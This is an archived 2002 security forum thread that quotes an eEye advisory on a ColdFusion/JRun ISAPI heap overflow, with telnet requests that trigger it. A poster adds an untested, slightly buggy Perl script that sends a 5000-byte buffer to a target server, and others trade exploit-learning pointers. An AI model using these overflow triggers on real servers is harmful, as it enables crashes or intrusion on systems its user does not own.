Exploiting ISAPI for CF.

Networking/Security Forums -> Exploits // System Weaknesses

Author: Jason PostPosted: Thu Nov 21, 2002 11:19 pm    Post subject: Exploiting ISAPI for CF.
    ----
Saw this the other day... Ideas for exploiting it?
Cheers.


Macromedia ColdFusion/JRun Remote SYSTEM Buffer Overflow Vulnerabilities

Release Date:
November 12, 2002

Severity:
High (Remote SYSTEM level code execution)

Systems Affected:
Macromedia Coldfusion 6.0 and prior (IIS ISAPI)
Macromedia JRun 4.0 and prior (IIS ISAPI)

Description:
Macromedia JRun and ColdFusion IIS ISAPI handlers contain various heap
overflows when handling URI filenames. By supplying a filename over 4096
bytes in size, heap memory can be overwritten. Various structures can be
overwritten in the process heap to gain control of the remote IIS process
with SYSTEM level access. This makes it rather trivial for attackers to
remotely compromise Microsoft IIS web servers running vulnerable versions of Macromedia Coldfusion or JRun.

The following requests can be used to duplicate the attack.

For JRun:
telnet example.com 80
GET /[+4096 byte buffer].jsp HTTP/1.0
[enter]
[enter]

For Coldfusion:
telnet example.com 80
GET /[+4096 byte buffer].cfm HTTP/1.0
[enter]
[enter]

During testing, 5000 bytes was sufficient to begin overwriting data
structures that made exploitation straightforward. The vulnerabilities exist
in error handling within the ISAPI filters.

Protection:
eEye Digital Security customers using SecureIIS are protected from the
exploitation of this vulnerability.
http://www.eeye.com/SecureIIS

Vendor Status:
Macromedia has released patches for both the JRun and Coldfusion products.
ColdFusion MX Advisory:
http://www.macromedia.com/v1/handlers/index.cfm?ID=23161
JRun Advisory:
http://www.macromedia.com/v1/handlers/index.cfm?ID=23500

Credit: Riley Hassell, Research Engineer - eEye Digital Security

Greetings: Eli, Kasia, Jenn, Hx2, and the all the crazy kiwi's with hackfu

Copyright (c) 1998-2002 eEye Digital Security
Permission is hereby granted for the redistribution of this alert
electronically. It is not to be edited in any way without express consent of
eEye. If you wish to reprint the whole or any part of this alert in any
other medium excluding electronic medium, please e-mail alert@eEye.com for
permission.

Disclaimer
The information within this paper may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There are
NO warranties with regard to this information. In no event shall the author
be liable for any damages whatsoever arising out of or in connection with
the use or spread of this information. Any use of this information is at the
user's own risk.

Feedback
Please send suggestions, updates, and comments to:

eEye Digital Security
http://www.eEye.com
info@eEye.com

Author: Jason PostPosted: Fri Nov 22, 2002 2:27 am    Post subject:
    ----
Hi guys,

This tool should feed 5000 bytes into the GET request. Not tested.

I might be going in totally the wrong direction, so any ideas appriciated. How about executing commands?

Cheers, J


Code:
#!/usr/bin/perl -w
# Test Attack tool... Based on the tool iispdos.pl
# Jason Lambert

use IO::Socket;

$ARGC=@ARGV;
if ($ARGC !=1) {
print "\n-->";
print "\tUsage: perl iispdos.pl <host> \n";
exit;
}

$remo = $ARGV[0];
$buffer = "A" x 5000;

print "\n-->";
print "\tconnection with $remo\n";
unless ($so = IO::Socket::INET->new (Proto => "TCP",
PeerAddr => $remo,
PeerPort => "80"))
{
print "-->";
print "\tConnection Failed...\n";
exit;
}
print $so "GET \$buffer.cfm HTTP/1.0\n\n";
close $so;

print "-->";
print "\tDone\n";
exit;


Author: decypherohmLocation: World - Europe - Portugal - Lisbon PostPosted: Fri Nov 22, 2002 11:37 am    Post subject:
    ----
very very nice exploit Very Happy Very Happy it is very useful... and very easy to do...

OR

ITS GREAT!!!! Wink

Author: Jason PostPosted: Fri Nov 22, 2002 12:56 pm    Post subject:
    ----
If you are taking the piss, i would suggest you read again the post with the tool in it. If not, sorry mate. Embarassed


Does anyone have any txts, tutorials for exploiting these sort of vulnerabilities?

J

Author: ShaolinTigerLocation: Kuala Lumpur, Malaysia PostPosted: Fri Nov 22, 2002 1:12 pm    Post subject:
    ----
Read smashing the stack.

And remember just because you can overflow the buffer doesn't mean you can get anything to execute, just generally means you can write to an arbitrary sections of the stack.

Getting stuff to run is hard work and takes a lot of manipulation of bytecodes and getting the positioning right..

A lot of trial and error.

Author: Jason PostPosted: Fri Nov 22, 2002 1:18 pm    Post subject:
    ----
cheers mate. I will read it when i get to work.

Author: ShaolinTigerLocation: Kuala Lumpur, Malaysia PostPosted: Fri Nov 22, 2002 1:28 pm    Post subject:
    ----
Check this thread out aswell:

http://www.security-forums.com/forum/viewtopic.php?t=801

Author: b4rtm4nLocation: Bi Mon Sci Fi Con PostPosted: Fri Nov 22, 2002 3:05 pm    Post subject:
    ----
It may be an idea to look at the source for the IISHACK code.



Networking/Security Forums -> Exploits // System Weaknesses


output generated using printer-friendly topic mod, All times are GMT + 2 Hours

Page 1 of 1

Powered by phpBB 2.0.x © 2001 phpBB Group